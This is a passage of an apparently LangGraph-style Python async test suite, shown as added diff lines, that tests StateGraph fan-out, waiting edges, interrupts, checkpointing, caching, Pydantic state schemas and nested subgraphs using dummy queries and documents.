workflow.add_node("qa", qa) + + workflow.set_entry_point("rewrite_query") + workflow.add_edge("rewrite_query", "analyzer_one") + workflow.add_edge("analyzer_one", "retriever_one") + workflow.add_edge("rewrite_query", "retriever_two") + workflow.add_edge(["retriever_one", "retriever_two"], "qa") + workflow.set_finish_point("qa") + + app = workflow.compile() + + assert await app.ainvoke({"query": "what is weather in sf"}) == { + "query": "analyzed: query: what is weather in sf", + "docs": ["doc1", "doc2", "doc3", "doc4"], + "answer": "doc1,doc2,doc3,doc4", + } + + assert [c async for c in app.astream({"query": "what is weather in sf"})] == [ + {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"analyzer_one": {"query": "analyzed: query: what is weather in sf"}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"qa": {"answer": "doc1,doc2,doc3,doc4"}}, + ] + + app_w_interrupt = workflow.compile( + checkpointer=async_checkpointer, + interrupt_after=["retriever_one"], + ) + config = {"configurable": {"thread_id": "1"}} + + assert [ + c + async for c in app_w_interrupt.astream( + {"query": "what is weather in sf"}, config + ) + ] == [ + {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"analyzer_one": {"query": "analyzed: query: what is weather in sf"}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"__interrupt__": ()}, + ] + + assert [c async for c in app_w_interrupt.astream(None, config)] == [ + {"qa": {"answer": "doc1,doc2,doc3,doc4"}}, + ] + + +@pytest.mark.parametrize("use_waiting_edge", (True, False)) +async def test_in_one_fan_out_state_graph_defer_node( + async_checkpointer: BaseCheckpointSaver, use_waiting_edge: bool +) -> None: + def sorted_add(x: list[str], y: list[str] | list[tuple[str, str]]) -> list[str]: + if isinstance(y[0], tuple): + for rem, _ in y: + x.remove(rem) + y = [t[1] for t in y] + return sorted(operator.add(x, y)) + + class State(TypedDict, total=False): + query: str + answer: str + docs: Annotated[list[str], sorted_add] + + async def rewrite_query(data: State) -> State: + return {"query": f"query: {data['query']}"} + + async def analyzer_one(data: State) -> State: + return {"query": f"analyzed: {data['query']}"} + + async def retriever_one(data: State) -> State: + return {"docs": ["doc1", "doc2"]} + + async def retriever_two(data: State) -> State: + await asyncio.sleep(0.1) + return {"docs": ["doc3", "doc4"]} + + async def qa(data: State) -> State: + return {"answer": ",".join(data["docs"])} + + workflow = StateGraph(State) + + workflow.add_node("rewrite_query", rewrite_query) + workflow.add_node("analyzer_one", analyzer_one) + workflow.add_node("retriever_one", retriever_one) + workflow.add_node("retriever_two", retriever_two) + workflow.add_node("qa", qa, defer=True) + + workflow.set_entry_point("rewrite_query") + workflow.add_edge("rewrite_query", "analyzer_one") + workflow.add_edge("analyzer_one", "retriever_one") + workflow.add_edge("rewrite_query", "retriever_two") + if use_waiting_edge: + workflow.add_edge(["retriever_one", "retriever_two"], "qa") + else: + workflow.add_edge("retriever_one", "qa") + workflow.add_edge("retriever_two", "qa") + workflow.set_finish_point("qa") + + app = workflow.compile() + + assert await app.ainvoke({"query": "what is weather in sf"}, debug=True) == { + "query": "analyzed: query: what is weather in sf", + "docs": ["doc1", "doc2", "doc3", "doc4"], + "answer": "doc1,doc2,doc3,doc4", + } + + assert [c async for c in app.astream({"query": "what is weather in sf"})] == [ + {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"analyzer_one": {"query": "analyzed: query: what is weather in sf"}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"qa": {"answer": "doc1,doc2,doc3,doc4"}}, + ] + + app_w_interrupt = workflow.compile( + checkpointer=async_checkpointer, + interrupt_after=["retriever_one"], + ) + config = {"configurable": {"thread_id": "1"}} + + assert [ + c + async for c in app_w_interrupt.astream( + {"query": "what is weather in sf"}, config + ) + ] == [ + {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"analyzer_one": {"query": "analyzed: query: what is weather in sf"}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"__interrupt__": ()}, + ] + + assert [c async for c in app_w_interrupt.astream(None, config)] == [ + {"qa": {"answer": "doc1,doc2,doc3,doc4"}}, + ] + + +async def test_in_one_fan_out_state_graph_waiting_edge_via_branch( + async_checkpointer: BaseCheckpointSaver, +) -> None: + def sorted_add(x: list[str], y: list[str] | list[tuple[str, str]]) -> list[str]: + if isinstance(y[0], tuple): + for rem, _ in y: + x.remove(rem) + y = [t[1] for t in y] + return sorted(operator.add(x, y)) + + class State(TypedDict, total=False): + query: str + answer: str + docs: Annotated[list[str], sorted_add] + + async def rewrite_query(data: State) -> State: + return {"query": f"query: {data['query']}"} + + async def analyzer_one(data: State) -> State: + return {"query": f"analyzed: {data['query']}"} + + async def retriever_one(data: State) -> State: + return {"docs": ["doc1", "doc2"]} + + async def retriever_two(data: State) -> State: + await asyncio.sleep(0.1) + return {"docs": ["doc3", "doc4"]} + + async def qa(data: State) -> State: + return {"answer": ",".join(data["docs"])} + + workflow = StateGraph(State) + + workflow.add_node("rewrite_query", rewrite_query) + workflow.add_node("analyzer_one", analyzer_one) + workflow.add_node("retriever_one", retriever_one) + workflow.add_node("retriever_two", retriever_two) + workflow.add_node("qa", qa) + + workflow.set_entry_point("rewrite_query") + workflow.add_edge("rewrite_query", "analyzer_one") + workflow.add_edge("analyzer_one", "retriever_one") + workflow.add_conditional_edges( + "rewrite_query", lambda _: "retriever_two", {"retriever_two": "retriever_two"} + ) + workflow.add_edge(["retriever_one", "retriever_two"], "qa") + workflow.set_finish_point("qa") + + app = workflow.compile() + + assert await app.ainvoke({"query": "what is weather in sf"}, debug=True) == { + "query": "analyzed: query: what is weather in sf", + "docs": ["doc1", "doc2", "doc3", "doc4"], + "answer": "doc1,doc2,doc3,doc4", + } + + assert [c async for c in app.astream({"query": "what is weather in sf"})] == [ + {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"analyzer_one": {"query": "analyzed: query: what is weather in sf"}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"qa": {"answer": "doc1,doc2,doc3,doc4"}}, + ] + + app_w_interrupt = workflow.compile( + checkpointer=async_checkpointer, + interrupt_after=["retriever_one"], + ) + config = {"configurable": {"thread_id": "1"}} + + assert [ + c + async for c in app_w_interrupt.astream( + {"query": "what is weather in sf"}, config + ) + ] == [ + {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"analyzer_one": {"query": "analyzed: query: what is weather in sf"}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"__interrupt__": ()}, + ] + + assert [c async for c in app_w_interrupt.astream(None, config)] == [ + {"qa": {"answer": "doc1,doc2,doc3,doc4"}}, + ] + + +async def test_nested_pydantic_models() -> None: + """Test that nested Pydantic models are properly constructed from leaf nodes up.""" + + class NestedModel(BaseModel): + value: int + name: str + something: str | None = None + + # Forward reference model + class RecursiveModel(BaseModel): + value: str + child: Optional["RecursiveModel"] = None + + # Discriminated union models + class Cat(BaseModel): + pet_type: Literal["cat"] + meow: str + + class Dog(BaseModel): + pet_type: Literal["dog"] + bark: str + + # Cyclic reference model + class Person(BaseModel): + id: str + name: str + friends: list[str] = Field(default_factory=list) # IDs of friends + + class MyEnum(enum.Enum): + A = 1 + B = 2 + + class MyTypedDict(TypedDict): + x: int + my_enum: MyEnum + + class State(BaseModel): + # Basic nested model tests + top_level: str + nested: NestedModel + optional_nested: NestedModel | None = None + dict_nested: dict[str, NestedModel] + my_set: set[int] + another_set: set + my_enum: MyEnum + list_nested: Annotated[ + dict | list[dict[str, NestedModel]], lambda x, y: (x or []) + [y] + ] + list_nested_reversed: Annotated[ + list[dict[str, NestedModel]] | NestedModel | dict | list, + lambda x, y: (x or []) + [y], + ] + tuple_nested: tuple[str, NestedModel] + tuple_list_nested: list[tuple[int, NestedModel]] + complex_tuple: tuple[str, dict[str, tuple[int, NestedModel]]] + my_typed_dict: MyTypedDict + + # Forward reference test + recursive: RecursiveModel + + # Discriminated union test + pet: Cat | Dog + + # Cyclic reference test + people: dict[str, Person] # Map of ID -> Person + + inputs = { + # Basic nested models + "top_level": "initial", + "nested": {"value": 42, "name": "test"}, + "optional_nested": {"value": 10, "name": "optional"}, + "my_set": [1, 2, 7], + "another_set": ["foo", 3], + "my_enum": MyEnum.B, + "my_typed_dict": {"x": 1, "my_enum": MyEnum.A}, + "dict_nested": {"a": {"value": 5, "name": "a"}}, + "list_nested": [{"a": {"value": 6, "name": "b"}}], + "list_nested_reversed": ["foo", "bar"], + "tuple_nested": ["tuple-key", {"value": 7, "name": "tuple-value"}], + "tuple_list_nested": [[1, {"value": 8, "name": "tuple-in-list"}]], + "complex_tuple": [ + "complex", + {"nested": [9, {"value": 10, "name": "deep"}]}, + ], + # Forward reference + "recursive": {"value": "parent", "child": {"value": "child", "child": None}}, + # Discriminated union (using a cat in this case) + "pet": {"pet_type": "cat", "meow": "meow!"}, + # Cyclic references + "people": { + "1": { + "id": "1", + "name": "Alice", + "friends": ["2", "3"], # Alice is friends with Bob and Charlie + }, + "2": { + "id": "2", + "name": "Bob", + "friends": ["1"], # Bob is friends with Alice + }, + "3": { + "id": "3", + "name": "Charlie", + "friends": ["1", "2"], # Charlie is friends with Alice and Bob + }, + }, + } + + update = {"top_level": "updated", "nested": {"value": 100, "name": "updated"}} + + async def node_fn(state: State) -> dict: + assert state == State(**inputs) + return update + + builder = StateGraph(State) + builder.add_node("process", node_fn) + builder.set_entry_point("process") + builder.set_finish_point("process") + graph = builder.compile() + + result = await graph.ainvoke(inputs.copy()) + + assert result == {**inputs, **update} + + +async def test_in_one_fan_out_state_graph_waiting_edge_custom_state_class( + async_checkpointer: BaseCheckpointSaver, +) -> None: + def sorted_add(x: list[str], y: list[str] | list[tuple[str, str]]) -> list[str]: + if isinstance(y[0], tuple): + for rem, _ in y: + x.remove(rem) + y = [t[1] for t in y] + return sorted(operator.add(x, y)) + + class State(BaseModel): + model_config = ConfigDict(arbitrary_types_allowed=True) + + query: str + answer: str | None = None + docs: Annotated[list[str], sorted_add] + + class Input(BaseModel): + query: str + + class Output(BaseModel): + answer: str + docs: list[str] + + class StateUpdate(BaseModel): + query: str | None = None + answer: str | None = None + docs: list[str] | None = None + + async def rewrite_query(data: State) -> State: + return {"query": f"query: {data.query}"} + + async def analyzer_one(data: State) -> State: + return StateUpdate(query=f"analyzed: {data.query}") + + async def retriever_one(data: State) -> State: + return {"docs": ["doc1", "doc2"]} + + async def retriever_two(data: State) -> State: + await asyncio.sleep(0.1) + return {"docs": ["doc3", "doc4"]} + + async def qa(data: State) -> State: + return {"answer": ",".join(data.docs)} + + async def decider(data: State) -> str: + assert isinstance(data, State) + return "retriever_two" + + workflow = StateGraph(State, input_schema=Input, output_schema=Output) + + workflow.add_node("rewrite_query", rewrite_query) + workflow.add_node("analyzer_one", analyzer_one) + workflow.add_node("retriever_one", retriever_one) + workflow.add_node("retriever_two", retriever_two) + workflow.add_node("qa", qa) + + workflow.set_entry_point("rewrite_query") + workflow.add_edge("rewrite_query", "analyzer_one") + workflow.add_edge("analyzer_one", "retriever_one") + workflow.add_conditional_edges( + "rewrite_query", decider, {"retriever_two": "retriever_two"} + ) + workflow.add_edge(["retriever_one", "retriever_two"], "qa") + workflow.set_finish_point("qa") + + app = workflow.compile() + + with pytest.raises(ValidationError): + await app.ainvoke({"query": {}}) + + assert await app.ainvoke({"query": "what is weather in sf"}) == { + "docs": ["doc1", "doc2", "doc3", "doc4"], + "answer": "doc1,doc2,doc3,doc4", + } + + assert [c async for c in app.astream({"query": "what is weather in sf"})] == [ + {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"analyzer_one": {"query": "analyzed: query: what is weather in sf"}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"qa": {"answer": "doc1,doc2,doc3,doc4"}}, + ] + + app_w_interrupt = workflow.compile( + checkpointer=async_checkpointer, + interrupt_after=["retriever_one"], + ) + config = {"configurable": {"thread_id": "1"}} + + assert [ + c + async for c in app_w_interrupt.astream( + {"query": "what is weather in sf"}, config + ) + ] == [ + {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"analyzer_one": {"query": "analyzed: query: what is weather in sf"}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"__interrupt__": ()}, + ] + + assert [c async for c in app_w_interrupt.astream(None, config)] == [ + {"qa": {"answer": "doc1,doc2,doc3,doc4"}}, + ] + + assert await app_w_interrupt.aget_state(config) == StateSnapshot( + values={ + "query": "analyzed: query: what is weather in sf", + "answer": "doc1,doc2,doc3,doc4", + "docs": ["doc1", "doc2", "doc3", "doc4"], + }, + tasks=(), + next=(), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 4, + }, + created_at=AnyStr(), + parent_config=( + { + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + } + ), + interrupts=(), + ) + + assert await app_w_interrupt.aupdate_state( + config, {"docs": ["doc5"]}, as_node="rewrite_query" + ) == { + "configurable": { + "thread_id": "1", + "checkpoint_id": AnyStr(), + "checkpoint_ns": "", + } + } + + +async def test_in_one_fan_out_state_graph_waiting_edge_custom_state_class_pydantic2( + snapshot: SnapshotAssertion, async_checkpointer: BaseCheckpointSaver +) -> None: + def sorted_add(x: list[str], y: list[str] | list[tuple[str, str]]) -> list[str]: + if isinstance(y[0], tuple): + for rem, _ in y: + x.remove(rem) + y = [t[1] for t in y] + return sorted(operator.add(x, y)) + + class InnerObject(BaseModel): + yo: int + + class State(BaseModel): + query: str + inner: InnerObject + answer: str | None = None + docs: Annotated[list[str], sorted_add] + + class StateUpdate(BaseModel): + query: str | None = None + answer: str | None = None + docs: list[str] | None = None + + async def rewrite_query(data: State) -> State: + return {"query": f"query: {data.query}"} + + async def analyzer_one(data: State) -> State: + return StateUpdate(query=f"analyzed: {data.query}") + + async def retriever_one(data: State) -> State: + return {"docs": ["doc1", "doc2"]} + + async def retriever_two(data: State) -> State: + await asyncio.sleep(0.1) + return {"docs": ["doc3", "doc4"]} + + async def qa(data: State) -> State: + return {"answer": ",".join(data.docs)} + + async def decider(data: State) -> str: + assert isinstance(data, State) + return "retriever_two" + + workflow = StateGraph(State) + + workflow.add_node("rewrite_query", rewrite_query) + workflow.add_node("analyzer_one", analyzer_one) + workflow.add_node("retriever_one", retriever_one) + workflow.add_node("retriever_two", retriever_two) + workflow.add_node("qa", qa) + + workflow.set_entry_point("rewrite_query") + workflow.add_edge("rewrite_query", "analyzer_one") + workflow.add_edge("analyzer_one", "retriever_one") + workflow.add_conditional_edges( + "rewrite_query", decider, {"retriever_two": "retriever_two"} + ) + workflow.add_edge(["retriever_one", "retriever_two"], "qa") + workflow.set_finish_point("qa") + + app = workflow.compile() + + if isinstance(async_checkpointer, InMemorySaver): + assert app.get_graph().draw_mermaid(with_styles=False) == snapshot + assert app.get_input_jsonschema() == snapshot + assert app.get_output_jsonschema() == snapshot + + with pytest.raises(ValidationError): + await app.ainvoke({"query": {}}) + + assert await app.ainvoke( + {"query": "what is weather in sf", "inner": {"yo": 1}} + ) == { + "query": "analyzed: query: what is weather in sf", + "docs": ["doc1", "doc2", "doc3", "doc4"], + "answer": "doc1,doc2,doc3,doc4", + "inner": {"yo": 1}, + } + + assert [ + c + async for c in app.astream( + {"query": "what is weather in sf", "inner": {"yo": 1}} + ) + ] == [ + {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"analyzer_one": {"query": "analyzed: query: what is weather in sf"}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"qa": {"answer": "doc1,doc2,doc3,doc4"}}, + ] + + app_w_interrupt = workflow.compile( + checkpointer=async_checkpointer, + interrupt_after=["retriever_one"], + ) + config = {"configurable": {"thread_id": "1"}} + + assert [ + c + async for c in app_w_interrupt.astream( + {"query": "what is weather in sf", "inner": {"yo": 1}}, config + ) + ] == [ + {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"analyzer_one": {"query": "analyzed: query: what is weather in sf"}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"__interrupt__": ()}, + ] + + assert [c async for c in app_w_interrupt.astream(None, config)] == [ + {"qa": {"answer": "doc1,doc2,doc3,doc4"}}, + ] + + assert await app_w_interrupt.aupdate_state( + config, {"docs": ["doc5"]}, as_node="rewrite_query" + ) == { + "configurable": { + "thread_id": "1", + "checkpoint_id": AnyStr(), + "checkpoint_ns": "", + } + } + + +async def test_in_one_fan_out_state_graph_waiting_edge_plus_regular( + async_checkpointer: BaseCheckpointSaver, +) -> None: + def sorted_add(x: list[str], y: list[str] | list[tuple[str, str]]) -> list[str]: + if isinstance(y[0], tuple): + for rem, _ in y: + x.remove(rem) + y = [t[1] for t in y] + return sorted(operator.add(x, y)) + + class State(TypedDict, total=False): + query: str + answer: str + docs: Annotated[list[str], sorted_add] + + async def rewrite_query(data: State) -> State: + return {"query": f"query: {data['query']}"} + + async def analyzer_one(data: State) -> State: + await asyncio.sleep(0.1) + return {"query": f"analyzed: {data['query']}"} + + async def retriever_one(data: State) -> State: + return {"docs": ["doc1", "doc2"]} + + async def retriever_two(data: State) -> State: + await asyncio.sleep(0.2) + return {"docs": ["doc3", "doc4"]} + + async def qa(data: State) -> State: + return {"answer": ",".join(data["docs"])} + + workflow = StateGraph(State) + + workflow.add_node("rewrite_query", rewrite_query) + workflow.add_node("analyzer_one", analyzer_one) + workflow.add_node("retriever_one", retriever_one) + workflow.add_node("retriever_two", retriever_two) + workflow.add_node("qa", qa) + + workflow.set_entry_point("rewrite_query") + workflow.add_edge("rewrite_query", "analyzer_one") + workflow.add_edge("analyzer_one", "retriever_one") + workflow.add_edge("rewrite_query", "retriever_two") + workflow.add_edge(["retriever_one", "retriever_two"], "qa") + workflow.set_finish_point("qa") + + # silly edge, to make sure having been triggered before doesn't break + # semantics of named barrier (== waiting edges) + workflow.add_edge("rewrite_query", "qa") + + app = workflow.compile() + + assert await app.ainvoke({"query": "what is weather in sf"}) == { + "query": "analyzed: query: what is weather in sf", + "docs": ["doc1", "doc2", "doc3", "doc4"], + "answer": "doc1,doc2,doc3,doc4", + } + + assert [c async for c in app.astream({"query": "what is weather in sf"})] == [ + {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"qa": {"answer": ""}}, + {"analyzer_one": {"query": "analyzed: query: what is weather in sf"}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"qa": {"answer": "doc1,doc2,doc3,doc4"}}, + ] + + app_w_interrupt = workflow.compile( + checkpointer=async_checkpointer, + interrupt_after=["retriever_one"], + ) + config = {"configurable": {"thread_id": "1"}} + + assert [ + c + async for c in app_w_interrupt.astream( + {"query": "what is weather in sf"}, config + ) + ] == [ + {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"qa": {"answer": ""}}, + {"analyzer_one": {"query": "analyzed: query: what is weather in sf"}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"__interrupt__": ()}, + ] + + assert [c async for c in app_w_interrupt.astream(None, config)] == [ + {"qa": {"answer": "doc1,doc2,doc3,doc4"}}, + ] + + +@pytest.mark.parametrize("with_cache", [True, False]) +async def test_in_one_fan_out_state_graph_waiting_edge_multiple( + with_cache: bool, cache: BaseCache +) -> None: + def sorted_add(x: list[str], y: list[str] | list[tuple[str, str]]) -> list[str]: + if isinstance(y[0], tuple): + for rem, _ in y: + x.remove(rem) + y = [t[1] for t in y] + return sorted(operator.add(x, y)) + + class State(TypedDict, total=False): + query: str + answer: str + docs: Annotated[list[str], sorted_add] + + rewrite_query_count = 0 + + async def rewrite_query(data: State) -> State: + nonlocal rewrite_query_count + rewrite_query_count += 1 + return {"query": f"query: {data['query']}"} + + async def analyzer_one(data: State) -> State: + return {"query": f"analyzed: {data['query']}"} + + async def retriever_one(data: State) -> State: + return {"docs": ["doc1", "doc2"]} + + async def retriever_two(data: State) -> State: + await asyncio.sleep(0.1) + return {"docs": ["doc3", "doc4"]} + + async def qa(data: State) -> State: + return {"answer": ",".join(data["docs"])} + + async def decider(data: State) -> None: + return None + + def decider_cond(data: State) -> str: + if data["query"].count("analyzed") > 1: + return "qa" + else: + return "rewrite_query" + + workflow = StateGraph(State) + + workflow.add_node( + "rewrite_query", + rewrite_query, + cache_policy=CachePolicy() if with_cache else None, + ) + workflow.add_node("analyzer_one", analyzer_one) + workflow.add_node("retriever_one", retriever_one) + workflow.add_node("retriever_two", retriever_two) + workflow.add_node("decider", decider) + workflow.add_node("qa", qa) + + workflow.set_entry_point("rewrite_query") + workflow.add_edge("rewrite_query", "analyzer_one") + workflow.add_edge("analyzer_one", "retriever_one") + workflow.add_edge("rewrite_query", "retriever_two") + workflow.add_edge(["retriever_one", "retriever_two"], "decider") + workflow.add_conditional_edges("decider", decider_cond) + workflow.set_finish_point("qa") + + app = workflow.compile(cache=cache) + + assert await app.ainvoke({"query": "what is weather in sf"}) == { + "query": "analyzed: query: analyzed: query: what is weather in sf", + "answer": "doc1,doc1,doc2,doc2,doc3,doc3,doc4,doc4", + "docs": ["doc1", "doc1", "doc2", "doc2", "doc3", "doc3", "doc4", "doc4"], + } + assert rewrite_query_count == 2 + + assert [c async for c in app.astream({"query": "what is weather in sf"})] == [ + { + "rewrite_query": {"query": "query: what is weather in sf"}, + "__metadata__": {"cached": True}, + } + if with_cache + else {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"analyzer_one": {"query": "analyzed: query: what is weather in sf"}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"decider": None}, + { + "rewrite_query": {"query": "query: analyzed: query: what is weather in sf"}, + "__metadata__": {"cached": True}, + } + if with_cache + else { + "rewrite_query": {"query": "query: analyzed: query: what is weather in sf"} + }, + { + "analyzer_one": { + "query": "analyzed: query: analyzed: query: what is weather in sf" + } + }, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"decider": None}, + {"qa": {"answer": "doc1,doc1,doc2,doc2,doc3,doc3,doc4,doc4"}}, + ] + assert rewrite_query_count == 2 if with_cache else 4 + + # clear the cache + if with_cache: + await app.aclear_cache() + + assert await app.ainvoke({"query": "what is weather in sf"}) == { + "query": "analyzed: query: analyzed: query: what is weather in sf", + "answer": "doc1,doc1,doc2,doc2,doc3,doc3,doc4,doc4", + "docs": ["doc1", "doc1", "doc2", "doc2", "doc3", "doc3", "doc4", "doc4"], + } + assert rewrite_query_count == 4 + + +async def test_in_one_fan_out_state_graph_waiting_edge_multiple_cond_edge() -> None: + def sorted_add(x: list[str], y: list[str] | list[tuple[str, str]]) -> list[str]: + if isinstance(y[0], tuple): + for rem, _ in y: + x.remove(rem) + y = [t[1] for t in y] + return sorted(operator.add(x, y)) + + class State(TypedDict, total=False): + query: str + answer: str + docs: Annotated[list[str], sorted_add] + + async def rewrite_query(data: State) -> State: + return {"query": f"query: {data['query']}"} + + async def retriever_picker(data: State) -> list[str]: + return ["analyzer_one", "retriever_two"] + + async def analyzer_one(data: State) -> State: + return {"query": f"analyzed: {data['query']}"} + + async def retriever_one(data: State) -> State: + return {"docs": ["doc1", "doc2"]} + + async def retriever_two(data: State) -> State: + await asyncio.sleep(0.1) + return {"docs": ["doc3", "doc4"]} + + async def qa(data: State) -> State: + return {"answer": ",".join(data["docs"])} + + async def decider(data: State) -> None: + return None + + def decider_cond(data: State) -> str: + if data["query"].count("analyzed") > 1: + return "qa" + else: + return "rewrite_query" + + workflow = StateGraph(State) + + workflow.add_node("rewrite_query", rewrite_query) + workflow.add_node("analyzer_one", analyzer_one) + workflow.add_node("retriever_one", retriever_one) + workflow.add_node("retriever_two", retriever_two) + workflow.add_node("decider", decider) + workflow.add_node("qa", qa) + + workflow.set_entry_point("rewrite_query") + workflow.add_conditional_edges("rewrite_query", retriever_picker) + workflow.add_edge("analyzer_one", "retriever_one") + workflow.add_edge(["retriever_one", "retriever_two"], "decider") + workflow.add_conditional_edges("decider", decider_cond) + workflow.set_finish_point("qa") + + app = workflow.compile() + + assert await app.ainvoke({"query": "what is weather in sf"}) == { + "query": "analyzed: query: analyzed: query: what is weather in sf", + "answer": "doc1,doc1,doc2,doc2,doc3,doc3,doc4,doc4", + "docs": ["doc1", "doc1", "doc2", "doc2", "doc3", "doc3", "doc4", "doc4"], + } + + assert [c async for c in app.astream({"query": "what is weather in sf"})] == [ + {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"analyzer_one": {"query": "analyzed: query: what is weather in sf"}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"decider": None}, + {"rewrite_query": {"query": "query: analyzed: query: what is weather in sf"}}, + { + "analyzer_one": { + "query": "analyzed: query: analyzed: query: what is weather in sf" + } + }, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"decider": None}, + {"qa": {"answer": "doc1,doc1,doc2,doc2,doc3,doc3,doc4,doc4"}}, + ] + + +async def test_nested_graph(snapshot: SnapshotAssertion) -> None: + def never_called_fn(state: Any): + assert 0, "This function should never be called" + + never_called = RunnableLambda(never_called_fn) + + class InnerState(TypedDict): + my_key: str + my_other_key: str + + def up(state: InnerState): + return {"my_key": state["my_key"] + " there", "my_other_key": state["my_key"]} + + inner = StateGraph(InnerState) + inner.add_node("up", up) + inner.set_entry_point("up") + inner.set_finish_point("up") + + class State(TypedDict): + my_key: str + never_called: Any + + async def side(state: State): + return {"my_key": state["my_key"] + " and back again"} + + graph = StateGraph(State) + graph.add_node("inner", inner.compile()) + graph.add_node("side", side) + graph.set_entry_point("inner") + graph.add_edge("inner", "side") + graph.set_finish_point("side") + + app = graph.compile() + + assert await app.ainvoke({"my_key": "my value", "never_called": never_called}) == { + "my_key": "my value there and back again", + "never_called": never_called, + } + assert [ + chunk + async for chunk in app.astream( + {"my_key": "my value", "never_called": never_called} + ) + ] == [ + {"inner": {"my_key": "my value there"}}, + {"side": {"my_key": "my value there and back again"}}, + ] + assert [ + chunk + async for chunk in app.astream( + {"my_key": "my value", "never_called": never_called}, stream_mode="values" + ) + ] == [ + {"my_key": "my value", "never_called": never_called}, + {"my_key": "my value there", "never_called": never_called}, + {"my_key": "my value there and back again", "never_called": never_called}, + ] + times_called = 0 + async for event in app.astream_events( + {"my_key": "my value", "never_called": never_called}, + version="v2", + config={"run_id": UUID(int=0)}, + stream_mode="values", + ): + if event["event"] == "on_chain_end" and event["run_id"] == str(UUID(int=0)): + times_called += 1 + assert event["data"] == { + "output": { + "my_key": "my value there and back again", + "never_called": never_called, + } + } + assert times_called == 1 + times_called = 0 + async for event in app.astream_events( + {"my_key": "my value", "never_called": never_called}, + version="v2", + config={"run_id": UUID(int=0)}, + ): + if event["event"] == "on_chain_end" and event["run_id"] == str(UUID(int=0)): + times_called += 1 + assert event["data"] == { + "output": { + "my_key": "my value there and back again", + "never_called": never_called, + } + } + assert times_called == 1 + + chain = app | RunnablePassthrough() + + assert await chain.ainvoke( + {"my_key": "my value", "never_called": never_called} + ) == { + "my_key": "my value there and back again", + "never_called": never_called, + } + assert [ + chunk + async for chunk in chain.astream( + {"my_key": "my value", "never_called": never_called} + ) + ] == [ + {"inner": {"my_key": "my value there"}}, + {"side": {"my_key": "my value there and back again"}}, + ] + times_called = 0 + async for event in chain.astream_events( + {"my_key": "my value", "never_called": never_called}, + version="v2", + config={"run_id": UUID(int=0)}, + ): + if event["event"] == "on_chain_end" and event["run_id"] == str(UUID(int=0)): + times_called += 1 + assert event["data"] == { + "output": {"side": {"my_key": "my value there and back again"}} + } + assert times_called == 1 + + +async def test_subgraph_checkpoint_true( + async_checkpointer: BaseCheckpointSaver, durability: Durability +) -> None: + class InnerState(TypedDict): + my_key: Annotated[str, operator.add] + my_other_key: str + + def inner_1(state: InnerState): + return {"my_key": " got here", "my_other_key": state["my_key"]} + + def inner_2(state: InnerState): + return {"my_key": " and there"} + + inner = StateGraph(InnerState) + inner.add_node("inner_1", inner_1) + inner.add_node("inner_2", inner_2) + inner.add_edge("inner_1", "inner_2") + inner.set_entry_point("inner_1") + inner.set_finish_point("inner_2") + + class State(TypedDict): + my_key: str + + graph = StateGraph(State) + graph.add_node("inner", inner.compile(checkpointer=True)) + graph.add_edge(START, "inner") + graph.add_conditional_edges( + "inner", lambda s: "inner" if s["my_key"].count("there") < 2 else END + ) + + app = graph.compile(checkpointer=async_checkpointer) + + config = {"configurable": {"thread_id": "2"}} + assert [ + c + async for c in app.astream( + {"my_key": ""}, + config, + subgraphs=True, + durability=durability, + ) + ] == [ + (("inner",), {"inner_1": {"my_key": " got here", "my_other_key": ""}}), + (("inner",), {"inner_2": {"my_key": " and there"}}), + ((), {"inner": {"my_key": " got here and there"}}), + ( + ("inner",), + { + "inner_1": { + "my_key": " got here", + "my_other_key": " got here and there got here and there", + } + }, + ), + (("inner",), {"inner_2": {"my_key": " and there"}}), + ( + (), + { + "inner": { + "my_key": " got here and there got here and there got here and there" + } + }, + ), + ] + + +async def test_subgraph_durability_inherited( + durability: Durability, +) -> None: + async_checkpointer = 